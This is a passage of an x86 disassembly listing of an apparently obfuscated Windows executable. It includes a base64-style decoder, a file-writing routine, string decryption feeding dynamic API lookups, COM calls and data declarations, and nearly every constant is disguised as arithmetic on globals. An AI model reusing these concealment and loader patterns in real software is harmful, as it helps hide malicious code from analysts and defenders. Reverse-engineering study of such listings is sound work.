jz short loc_444A73
mov eax, [ebp+var_1C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_444A73: ; CODE XREF: sub_444839+22Fj
mov eax, dword_54F098
add eax, dword_54F1D8
sub eax, 0Dh
cmp [ebp+var_18], eax
jz short loc_444A8F
mov eax, [ebp+var_18]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_444A8F: ; CODE XREF: sub_444839+A7j
; sub_444839+24Bj
mov eax, dword_54F0EC
dec eax
cmp [ebp+var_4], eax
jz short loc_444AA3
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_444AA3: ; CODE XREF: sub_444839+20j
; sub_444839+63j ...
pop edi
pop esi
pop ebx
leave
retn
sub_444839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444AA8 proc near ; CODE XREF: sub_43B535+103p
; sub_444250+1E4p ...
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_40D = byte ptr -40Dh
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = dword ptr -400h
var_358 = dword ptr -358h
var_34C = dword ptr -34Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 41Ch
push ebx
push esi
push edi
movsx esi, word_54F0A8
jmp short loc_444ADA
; ---------------------------------------------------------------------------
loc_444ABD: ; CODE XREF: sub_444AA8+3Ej
movsx edx, word_54F164
movsx ecx, word_54F190
add edx, ecx
sub edx, 8
neg edx
mov [ebp+esi*4+var_400], edx
inc esi
loc_444ADA: ; CODE XREF: sub_444AA8+13j
mov eax, dword_54F124
add eax, 0FEh
cmp esi, eax
jb short loc_444ABD
mov eax, dword_54F19C
movsx edx, word_54F244
add eax, edx
sub eax, 0Bh
mov [ebp+var_404], eax
mov edi, dword_54F12C
add edi, 27h
movsx eax, word_54F0CC
add edi, eax
jmp short loc_444B2E
; ---------------------------------------------------------------------------
loc_444B13: ; CODE XREF: sub_444AA8+90j
mov edx, dword_54F234
add edx, dword_54F1F4
sub edx, 0Dh
mov ecx, edi
add ecx, edx
mov [ebp+edi*4+var_400], ecx
inc edi
loc_444B2E: ; CODE XREF: sub_444AA8+69j
mov eax, dword_54F238
add eax, 3Ah
cmp edi, eax
jb short loc_444B13
mov ebx, [ebp+arg_4]
movsx esi, word_54F244
sub esi, 7
movsx edi, word_54F0C4
sub edi, 6
jmp short loc_444B8A
; ---------------------------------------------------------------------------
loc_444B53: ; CODE XREF: sub_444AA8+F6j
movsx edx, word_54F104
add edx, 41h
mov ecx, edi
add ecx, edx
mov [ebp+ecx*4+var_400], edi
mov edx, dword_54F100
add edx, 58h
mov ecx, edi
add ecx, edx
mov edx, dword_54F1BC
add edx, 14h
mov eax, edi
add eax, edx
mov [ebp+ecx*4+var_400], eax
inc edi
loc_444B8A: ; CODE XREF: sub_444AA8+A9j
movsx eax, word_54F144
movsx edx, word_54F09C
lea eax, [eax+edx+10h]
cmp edi, eax
jb short loc_444B53
mov edx, dword_54F0C0
mov ecx, dword_54F0BC
add ecx, 3Fh
mov [ebp+edx*4+var_34C], ecx
movsx edx, word_54F198
mov ecx, dword_54F1EC
add ecx, 34h
add ecx, dword_54F1D0
mov [ebp+edx*4+var_358], ecx
movsx eax, word_54F128
add eax, dword_54F228
sub eax, 0Dh
mov [ebp+var_40C], eax
mov eax, [ebp+arg_8]
add eax, [ebp+arg_4]
mov [ebp+var_408], eax
mov edi, [ebp+arg_0]
jmp loc_444D3E
; ---------------------------------------------------------------------------
loc_444BFD: ; CODE XREF: sub_444AA8+2A1j
movsx edx, byte ptr [edi]
shl edx, 2
mov esi, [ebp+edx+var_400]
mov eax, dword_54F1B4
sub eax, 3
neg eax
cmp esi, eax
jz loc_444D3D
mov eax, [ebp+var_404]
or eax, eax
jl loc_444D37
cmp eax, 3
jg loc_444D37
jmp off_54F460[eax*4]
loc_444C3A: ; DATA XREF: .data:off_54F460o
inc [ebp+var_404]
jmp loc_444D37
; ---------------------------------------------------------------------------
loc_444C45: ; CODE XREF: sub_444AA8+18Bj
; DATA XREF: .data:0054F464o
mov edx, [ebp+var_40C]
movsx ecx, word_54F240
sub ecx, 6
mov eax, edx
shl eax, cl
mov [ebp+var_418], eax
mov edx, esi
and edx, 30h
mov ecx, dword_54F114
add ecx, dword_54F200
sub ecx, 2
mov eax, edx
sar eax, cl
mov edx, [ebp+var_418]
or edx, eax
mov [ebp+var_40D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_40D]
mov [eax], dl
inc [ebp+var_404]
jmp loc_444D37
; ---------------------------------------------------------------------------
loc_444C9B: ; CODE XREF: sub_444AA8+18Bj
; DATA XREF: .data:0054F468o
mov edx, [ebp+var_40C]
and edx, 0Fh
movsx ecx, word_54F198
mov eax, dword_54F238
lea ecx, [ecx+eax+3]
mov eax, edx
shl eax, cl
mov [ebp+var_41C], eax
mov edx, esi
and edx, 3Ch
mov ecx, dword_54F0E0
add ecx, dword_54F1FC
sub ecx, 4
mov eax, edx
sar eax, cl
mov edx, [ebp+var_41C]
or edx, eax
mov [ebp+var_40D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_40D]
mov [eax], dl
inc [ebp+var_404]
jmp short loc_444D37
; ---------------------------------------------------------------------------
loc_444CF7: ; CODE XREF: sub_444AA8+18Bj
; DATA XREF: .data:0054F46Co
mov edx, [ebp+var_40C]
and edx, 3
movsx ecx, word_54F118
add ecx, dword_54F1A0
sub ecx, 0Ah
mov eax, edx
shl eax, cl
mov edx, eax
or edx, esi
mov [ebp+var_40D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_40D]
mov [eax], dl
mov eax, dword_54F108
sub eax, 8
mov [ebp+var_404], eax
loc_444D37: ; CODE XREF: sub_444AA8+17Cj
; sub_444AA8+185j ...
mov [ebp+var_40C], esi
loc_444D3D: ; CODE XREF: sub_444AA8+16Ej
inc edi
loc_444D3E: ; CODE XREF: sub_444AA8+150j
cmp byte ptr [edi], 0
jz short loc_444D4F
cmp ebx, [ebp+var_408]
jb loc_444BFD
loc_444D4F: ; CODE XREF: sub_444AA8+299j
cmp byte ptr [edi], 0
jnz short loc_444D5B
mov eax, ebx
sub eax, [ebp+arg_4]
jmp short loc_444D63
; ---------------------------------------------------------------------------
loc_444D5B: ; CODE XREF: sub_444AA8+2AAj
mov eax, dword_54F1DC
inc eax
neg eax
loc_444D63: ; CODE XREF: sub_444AA8+2B1j
pop edi
pop esi
pop ebx
leave
retn
sub_444AA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444D68 proc near ; CODE XREF: sub_444250+38Dp
; sub_444250+41Ap
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
movsx eax, word_54F1F0
sub eax, 6
push eax
push 80h
push 4
mov eax, dword_54F178
add eax, dword_54F1B4
sub eax, 0Dh
push eax
mov eax, dword_54F120
movsx edx, word_54F1A8
add eax, edx
sub eax, 8
push eax
push 40000000h
push offset dword_4CA230
call ds:dword_54DB18
mov edi, eax
push 0
mov eax, dword_54F1B8
add eax, dword_54F0C0
sub eax, 6
push eax
push [ebp+arg_4]
push edi
call ds:dword_54DF30
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_444DD7: ; CODE XREF: sub_444D68+74j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_444DD7
mov esi, eax
mov ebx, dword_54F1E0
sub ebx, 4
push ebx
lea ebx, [ebp+var_4]
push ebx
push esi
push [ebp+arg_0]
push edi
call ds:dword_54DF1C
push edi
call ds:dword_4CB948
pop edi
pop esi
pop ebx
leave
retn
sub_444D68 endp
; =============== S U B R O U T I N E =======================================
sub_444E05 proc near ; CODE XREF: sub_444ED7+16p
push edi
push offset byte_54F521
call sub_43AAF7
pop ecx
push eax
call ds:dword_449598
mov dword_54F268, eax
movsx eax, word_54F190
sub eax, 8
cmp dword_54F268, eax
jnz short loc_444E46
push offset byte_54F511
call sub_43AAF7
pop ecx
push eax
call ds:dword_48A218
mov dword_54F268, eax
loc_444E46: ; CODE XREF: sub_444E05+28j
push offset dword_54F500
call sub_43AAF7
push eax
push dword_54F268
call ds:dword_4491AC
mov ds:dword_54DF34, eax
push offset word_54F4EE
call sub_43AAF7
push eax
push dword_54F268
call ds:dword_4491AC
mov ds:dword_44700C, eax
push offset word_54F4DE
call sub_43AAF7
push eax
push dword_54F268
call ds:dword_4491AC
mov ds:dword_54E044, eax
push offset byte_54F4CF
call sub_43AAF7
push eax
push dword_54F268
call ds:dword_4491AC
mov ds:dword_446048, eax
push offset byte_54F4BF
call sub_43AAF7
add esp, 14h
push eax
push dword_54F268
call ds:dword_4491AC
mov ds:dword_4CA224, eax
pop edi
retn
sub_444E05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444ED7 proc near ; DATA XREF: sub_43B76D+Co
; sub_43B76D+34o ...
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = byte ptr -144h
var_143 = byte ptr -143h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 158h
push ebx
push esi
push edi
call sub_43BD23
call sub_43B309
call sub_444E05
call sub_443885
call sub_443E1B
call sub_4407D3
call sub_4408C5
call sub_43FB17
call sub_43CBF8
call sub_441272
call sub_440FB0
mov esi, eax
loc_444F1C: ; CODE XREF: sub_444ED7+ABj
call sub_43BC76
mov edx, eax
mov [ebp+var_144], dl
movzx eax, [ebp+var_144]
mov edx, dword_54F200
add edx, dword_54F248
sub edx, 7
cmp eax, edx
jnz short loc_444F58
mov eax, dword_54F090
add eax, dword_54F108
sub eax, 0Bh
push eax
call ds:dword_54C960
loc_444F58: ; CODE XREF: sub_444ED7+6Aj
movzx eax, [ebp+var_144]
mov edx, dword_54F16C
sub edx, 4
cmp eax, edx
jnz short loc_444F84
mov eax, dword_54F10C
add eax, 5Ch
add eax, dword_54F0D8
push eax
call ds:dword_50C924
pop ecx
jmp short loc_444F1C
; ---------------------------------------------------------------------------
loc_444F84: ; CODE XREF: sub_444ED7+93j
or esi, esi
jnz loc_44506B
push offset dword_54F4B4
call sub_43AAF7
mov [ebp+var_150], eax
push offset word_54F4AA
call sub_43AAF7
push eax
mov edx, [ebp+var_150]
push edx
lea edx, [ebp+var_143]
push edx
call ds:dword_50C928
lea eax, [ebp+var_143]
push eax
push 0
mov eax, dword_54F230
movsx edx, word_54F118
add eax, edx
sub eax, 9
push eax
call ds:dword_4CC908
mov edi, eax
push offset word_54F49E
call sub_43AAF7
mov [ebp+var_154], eax
push offset dword_54F494
call sub_43AAF7
mov edx, dword_54F234
movsx ecx, word_54F0F4
add edx, ecx
sub edx, 4
push edx
push eax
mov edx, [ebp+var_154]
push edx
lea edx, [ebp+var_143]
push edx
call ds:dword_50C928
add esp, 2Ch
lea eax, [ebp+var_143]
push eax
push 1
push dword_54F1DC
call ds:dword_4CC908
mov edi, eax
mov eax, dword_54F0C0
sub eax, 2
cmp edi, eax
jnz short loc_445052
push dword_54F224
call ds:dword_54C960
loc_445052: ; CODE XREF: sub_444ED7+16Dj
mov eax, dword_54F0E0
add eax, 0FFFFFFF1h
movsx edx, word_54F118
add eax, edx
push eax
push edi
call ds:dword_50C920
loc_44506B: ; CODE XREF: sub_444ED7+AFj
movsx eax, word_54F164
dec eax
push eax
call ds:dword_449598
mov ebx, eax
lea eax, sub_43CE6A
mov [ebp+var_40], eax
mov [ebp+var_28], 5
movsx eax, word_54F194
mov edx, eax
add edx, eax
mov eax, edx
sub eax, 2
mov [ebp+var_30], eax
movsx eax, word_54F190
sub eax, 8
mov [ebp+var_2C], eax
mov [ebp+var_34], ebx
mov eax, dword_54F21C
add eax, dword_54F1C8
sub eax, 0Ch
mov [ebp+var_38], eax
mov [ebp+var_44], 3
push offset word_54F48A
call sub_43AAF7
mov [ebp+var_20], eax
mov eax, dword_54F0C0
add eax, dword_54F0B8
sub eax, 6
mov [ebp+var_3C], eax
mov eax, dword_54F16C
sub eax, 5
mov [ebp+var_24], eax
lea eax, [ebp+var_44]
push eax
call ds:dword_449090
push offset byte_5507C3
call sub_43AAF7
mov [ebp+var_158], eax
push offset dword_54F480
call sub_43AAF7
mov edx, dword_54F1F4
sub edx, 9
push edx
push ebx
movsx edx, word_54F1C4
add edx, dword_54F140
sub edx, 9
push edx
mov edx, dword_54F1B8
sub edx, 4
push edx
mov edx, dword_54F0D4
movsx ecx, word_54F210
add edx, ecx
sub edx, 0Ah
push edx
mov edx, dword_54F0A4
mov ecx, dword_54F0DC
add ecx, edx
sub ecx, 0Bh
push ecx
mov ecx, dword_54F1B0
add ecx, dword_54F1C8
sub ecx, 0Fh
push ecx
add edx, dword_54F124
sub edx, 9
push edx
push 0CA0000h
push eax
mov edx, [ebp+var_158]
push edx
movsx edx, word_54F198
add edx, dword_54F20C
sub edx, 5
push edx
call ds:dword_4CB93C
mov ds:dword_4495C0, eax
lea eax, [ebp+var_148]
push eax
push ebx
call sub_43CC56
mov [ebp+var_14C], eax
push 0
call sub_43ECD2
add esp, 18h
mov eax, [ebp+var_148]
mov ds:dword_4495C4, eax
mov eax, [ebp+var_14C]
mov ds:dword_4CC8FC, eax
or esi, esi
jnz short loc_4451F1
call sub_440B06
mov eax, dword_54F0E8
add eax, dword_54F23C
dec eax
mov ds:dword_50C92C, eax
jmp short loc_445202
; ---------------------------------------------------------------------------
loc_4451F1: ; CODE XREF: sub_444ED7+300j
movsx eax, word_54F1E8
add eax, 3A91h
mov ds:dword_50C92C, eax
loc_445202: ; CODE XREF: sub_444ED7+318j
push offset sub_443B7F
call sub_43CBAF
pop ecx
or esi, esi
jnz short loc_44523B
call sub_441843
call sub_444839
call sub_441B74
call sub_43C501
jmp short loc_44523B
; ---------------------------------------------------------------------------
loc_445227: ; CODE XREF: sub_444ED7+38Dj
lea eax, [ebp+var_1C]
push eax
call ds:dword_54CB00
lea eax, [ebp+var_1C]
push eax
call ds:dword_447018
loc_44523B: ; CODE XREF: sub_444ED7+338j
; sub_444ED7+34Ej
movsx eax, word_54F164
dec eax
push eax
mov eax, dword_54F1B8
sub eax, 4
push eax
movsx eax, word_54F240
sub eax, 8
push eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_4CA548
or eax, eax
jnz short loc_445227
pop edi
pop esi
pop ebx
leave
retn 4
sub_444ED7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44526D proc near ; CODE XREF: sub_43EA1B+28Cp
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 54h
push ebx
push esi
push edi
mov eax, dword_54F0B0
add eax, dword_54F17C
sub eax, 0Bh
push eax
push [ebp+arg_8]
push [ebp+arg_0]
call sub_441F06
add esp, 0Ch
mov [ebp+var_54], eax
test eax, eax
jnz loc_44550E
push offset dword_54F470
call sub_43DEC5
pop ecx
push eax
call ds:dword_44700C
mov [ebp+var_10], eax
mov [ebp+var_18], 8
lea eax, [ebp+var_8]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_8]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
movsx eax, word_54F0C4
movsx edx, word_54F1C4
add eax, edx
sub eax, 0Eh
cmp ebx, eax
jnz loc_4454F2
lea eax, [ebp+var_40]
push eax
push offset dword_550A38
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_54F094
add eax, dword_54F1D8
sub eax, 6
cmp ebx, eax
jnz loc_4454E9
mov [ebp+var_30], 2
mov eax, dword_54F21C
movsx edx, word_54F240
add eax, edx
sub eax, 0Ch
mov [ebp+var_28], eax
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_40]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, dword_54F220
sub eax, 2
cmp ebx, eax
jnz loc_4454E0
mov eax, dword_54F24C
sub eax, 9
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
push offset dword_550A48
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_54F20C
sub eax, 4
cmp ebx, eax
jnz loc_4454D7
inc ds:dword_4495D0
mov eax, dword_54F160
add eax, dword_54F200
sub eax, 2
cmp ds:dword_4495D0, eax
jb short loc_4453E9
mov eax, dword_54F0F0
add eax, 3
add eax, dword_54F248
mov ds:dword_4495D0, eax
push [ebp+var_4]
call sub_43C284
pop ecx
jmp loc_4454CE
; ---------------------------------------------------------------------------
loc_4453E9: ; CODE XREF: sub_44526D+159j
movsx eax, word_54F194
add eax, dword_54F18C
sub eax, 2
mov [ebp+var_48], eax
lea eax, [ebp+var_50]
push eax
push ds:dword_44601C
call sub_4437E1
mov [ebp+var_34], eax
lea eax, [ebp+var_4C]
push eax
push ds:dword_447FD4
call sub_4437E1
mov [ebp+var_38], eax
lea eax, [ebp+var_44]
push eax
push ds:dword_4CB820
call sub_4437E1
add esp, 18h
mov [ebp+var_3C], eax
cmp [ebp+var_44], 0
jz short loc_445456
test eax, eax
jz short loc_445456
push 43h
lea eax, [ebp+var_48]
push eax
push [ebp+var_4]
push [ebp+var_44]
push [ebp+var_3C]
call sub_44050C
add esp, 14h
loc_445456: ; CODE XREF: sub_44526D+1CCj
; sub_44526D+1D0j
cmp [ebp+var_4C], 0
jz short loc_445479
cmp [ebp+var_38], 0
jz short loc_445479
push 50h
lea eax, [ebp+var_48]
push eax
push [ebp+var_4]
push [ebp+var_4C]
push [ebp+var_38]
call sub_44050C
add esp, 14h
loc_445479: ; CODE XREF: sub_44526D+1EDj
; sub_44526D+1F3j
cmp [ebp+var_50], 0
jz short loc_44549C
cmp [ebp+var_34], 0
jz short loc_44549C
push 44h
lea eax, [ebp+var_48]
push eax
push [ebp+var_4]
push [ebp+var_50]
push [ebp+var_34]
call sub_44050C
add esp, 14h
loc_44549C: ; CODE XREF: sub_44526D+210j
; sub_44526D+216j
push [ebp+var_38]
call ds:dword_4495CC
push [ebp+var_3C]
call ds:dword_4495CC
push [ebp+var_34]
call ds:dword_4495CC
movsx eax, word_54F194
inc eax
push eax
push [ebp+arg_8]
push [ebp+arg_0]
call sub_441F06
add esp, 0Ch
loc_4454CE: ; CODE XREF: sub_44526D+177j
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4454D7: ; CODE XREF: sub_44526D+139j
mov eax, [ebp+var_1C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4454E0: ; CODE XREF: sub_44526D+106j
mov eax, [ebp+var_40]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4454E9: ; CODE XREF: sub_44526D+AFj
mov eax, [ebp+var_8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4454F2: ; CODE XREF: sub_44526D+7Fj
lea eax, [ebp+var_18]
push eax
call ds:dword_54DF34
mov eax, dword_54F1AC
add eax, dword_54F0A0
sub eax, 5
cmp ebx, eax
jz short $+2
loc_44550E: ; CODE XREF: sub_44526D+2Bj
pop edi
pop esi
pop ebx
leave
retn
sub_44526D endp
; =============== S U B R O U T I N E =======================================
sub_445513 proc near ; DATA XREF: .data:0054F2D8o
mov eax, 80004001h
retn 10h
sub_445513 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_44551C proc near ; CODE XREF: sub_445539+1Ep
var_FFC = dword ptr -0FFCh
pop ecx
loc_44551D: ; CODE XREF: sub_44551C+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_44551D
sub esp, eax
test [esp+0FFCh+var_FFC], eax
push ecx
retn
sub_44551C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445539 proc near ; CODE XREF: sub_440B82+3Ap
arg_0 = dword ptr 4
pop ecx
pop eax
add eax, 3
shr eax, 2
shl eax, 2
cmp eax, 1000h
jl short loc_445569
mov edx, esp
push eax
fild [esp-4+arg_0]
mov [esp-4+arg_0], ecx
fild [esp-4+arg_0]
call sub_44551C
mov esp, edx
push edx
fistp dword ptr [esp+0]
mov ecx, [esp+0]
fistp dword ptr [esp+0]
pop eax
loc_445569: ; CODE XREF: sub_445539+10j
sub esp, eax
mov eax, esp
mov dword ptr [eax], 0
push ecx
push ecx
retn
sub_445539 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_445578 proc near ; CODE XREF: .text:004381BAp
; DATA XREF: .data:off_54F000o
xor eax, eax
inc eax
retn 0Ch
sub_445578 endp
; ---------------------------------------------------------------------------
align 10h
push eax
fnstcw word ptr [esp]
mov eax, [esp]
btr dword ptr [esp], 8
or word ptr [esp], 200h
; START OF FUNCTION CHUNK FOR sub_4455A3
loc_445592: ; CODE XREF: sub_4455A3+Dj
fldcw word ptr [esp+4+var_4]
pop ecx
loc_445596: ; CODE XREF: .text:004455A1j
mov al, ah
and eax, 3
retn
; END OF FUNCTION CHUNK FOR sub_4455A3
; ---------------------------------------------------------------------------
push eax
fnstcw word ptr [esp]
pop eax
jmp short loc_445596
; =============== S U B R O U T I N E =======================================
sub_4455A3 proc near ; CODE XREF: .text:loc_4381A7p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00445592 SIZE 0000000A BYTES
push eax
fnstcw word ptr [esp+4+var_4]
mov eax, [esp+4+var_4]
or word ptr [esp+4+var_4], 300h
jmp short loc_445592
sub_4455A3 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4455B4 proc near ; CODE XREF: sub_4395D8+8p
; sub_43ADF1+8p ...
var_FFC = dword ptr -0FFCh
pop ecx
loc_4455B5: ; CODE XREF: sub_4455B4+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_4455B5
sub esp, eax
test [esp+0FFCh+var_FFC], eax
jmp ecx
sub_4455B4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4455D4 proc near ; CODE XREF: sub_438324+280p
; sub_438324+910p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
xor eax, eax
mov ecx, 0FFFFFFFFh
xchg edi, edx
repne scasb
neg ecx
lea ecx, [ecx-1]
mov eax, [esp+arg_4]
xchg eax, esi
mov edi, [esp+arg_0]
rep movsb
xchg eax, esi
xchg edx, edi
mov eax, [esp+arg_0]
retn 8
sub_4455D4 endp
; ---------------------------------------------------------------------------
align 10h
jmp dword ptr ds:5510ACh
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44560C proc near ; CODE XREF: sub_43825C+10p
jmp dword ptr ds:5510B0h
sub_44560C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_445618 proc near ; CODE XREF: sub_438080+13p
jmp dword ptr ds:5510B4h
sub_445618 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_445624 proc near ; CODE XREF: sub_4381C3+33p
; sub_4381C3+45p ...
jmp dword ptr ds:5510C0h
sub_445624 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_445630 proc near ; CODE XREF: sub_4381C3+Bp
; sub_4381C3+17p ...
jmp dword ptr ds:5510C4h
sub_445630 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; ---------------------------------------------------------------------------
jmp dword ptr ds:5510C8h
; ---------------------------------------------------------------------------
align 8
jmp dword ptr ds:5510CCh
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_445654 proc near ; CODE XREF: sub_43825C+4Ep
; sub_43825C+87p
jmp dword ptr ds:5510D0h
sub_445654 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_445660 proc near ; CODE XREF: .text:00438186p
jmp dword ptr ds:5510D4h
sub_445660 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44566C proc near ; CODE XREF: sub_4381C3+71p
; sub_4381C3+86p
jmp dword ptr ds:5510D8h
sub_44566C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_445678 proc near ; CODE XREF: sub_43825C+9Ep
jmp dword ptr ds:5510DCh
sub_445678 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
dd 25Fh dup(?)
dword_446000 dd ? ; sub_43C7A3+382w
dword_446004 dd ? ; sub_443A79+14r ...
dword_446008 dd ? ; sub_4404CE+2Ar ...
dword_44600C dd ? ; sub_43BE84+1B1r ...
dword_446010 dd ? ; sub_43C7A3+F7w
dword_446014 dd ? ; sub_43B508+1Er ...
dword_446018 dd ? ; sub_438324+A84r ...
dword_44601C dd ? ; sub_44526D+193r
dword_446020 dd ? ; sub_443885+BEw
dword_446024 dd ? ; sub_443E1B+6Bw
dword_446028 dd ? ; sub_43E364+21Er
dword_44602C dd ? ; sub_43C397+163w ...
dword_446030 dd ? ; sub_43C114+10Cw ...
dword_446034 dd ? ; sub_43ADF1+BEr ...
dword_446038 dd ? ; sub_43C7A3+304w
dword_44603C dd ? ; sub_43ADF1+266r ...
dword_446040 dd ? ; sub_440FB0+FFr
dword_446044 dd ? dword_446048 dd ? ; sub_44296E+17r ...
dword_44604C dd ? ; sub_443885+17Ew
dword_446050 dd ? dd 3 dup(?)
dword_446060 dd ? dd 3E7h dup(?)
dword_447000 dd ? dword_447004 dd ? ; sub_4440DD+5Ar ...
dword_447008 dd ? ; sub_443885+13Cw
dword_44700C dd ? ; sub_440B82+2AFr ...
dword_447010 dd ? ; sub_4447F2+3Br
dword_447014 dd ? ; sub_441843+16Bw
dword_447018 dd ? ; sub_444ED7+35Er
dword_44701C dd ? ; sub_441843+267r ...
dword_447020 dd ? ; sub_43CE88+157r ...
dd 3E7h dup(?)
dword_447FC0 dd ? ; sub_443B7F+10Fr
dword_447FC4 dd ? ; sub_444839+1Ar ...
dword_447FC8 dd ? ; sub_43C501+B9r ...
dword_447FCC dd ? ; sub_43DEC5+18r ...
dword_447FD0 dd ? ; sub_443A79+39r
dword_447FD4 dd ? ; sub_44526D+1A5r
dd 2 dup(?)
dword_447FE0 dd 40h dup(?) ; sub_44050C+18Co ...
dword_4480E0 dd ? ; sub_43CE88+129r ...
dd 3E7h dup(?)
dword_449080 dd ? ; sub_443885+166w
dword_449084 dd ? ; sub_441B74+58r
dword_449088 dd ? ; sub_443B7F+129r
dword_44908C dd ? dword_449090 dd ? ; sub_444ED7+21Dr
dword_449094 dd ? ; sub_444250+564r
dd 2 dup(?)
dword_4490A0 dd 41h dup(?) ; sub_43D41A+105o ...
dword_4491A4 dd ? ; sub_4395D8+812r ...
dword_4491A8 dd ? dword_4491AC dd ? ; sub_43BD23+5Ar ...
byte_4491B0 db ? ; DATA XREF: sub_43CE88+A1r
; sub_43CE88+167r ...
db 3 dup(?)
dd 0F9h dup(?)
dword_449598 dd ? ; sub_43B309+Dr ...
dword_44959C dd ? ; sub_443885+112w
dword_4495A0 dd ? ; sub_443885+127w
dword_4495A4 dd ? dword_4495A8 dd ? ; sub_4412D8+139r
dword_4495AC dd ? ; sub_438324+1082r ...
dword_4495B0 dd ? ; sub_43CCB6+19r
dword_4495B4 dd ? ; sub_43FB17+72w
dword_4495B8 dd ? ; sub_43B508+19o ...
dword_4495BC dd ? ; sub_43C7A3+3Aw ...
dword_4495C0 dd ? dword_4495C4 dd ? ; sub_444ED7+2EEw
dword_4495C8 dd ? ; sub_4408C5+51w
dword_4495CC dd ? ; sub_4395D8+1512r ...
dword_4495D0 dd ? ; sub_43CE88+2Fw ...
dword_4495D4 dd ? ; sub_441B74+78r
dd 2 dup(?)
dword_4495E0 dd ? ; sub_443B7F+101w ...
dd 0FFh dup(?)
dword_4499E0 dd ? ; sub_4440DD+12Aw ...
dd 5987h dup(?)
dword_460000 dd 0A677h dup(?)dword_4899DC dd ? dword_4899E0 dd ? dword_4899E4 dd ? dword_4899E8 dd ? ; sub_443885+FDw
dword_4899EC dd ? ; sub_43C7A3+25w ...
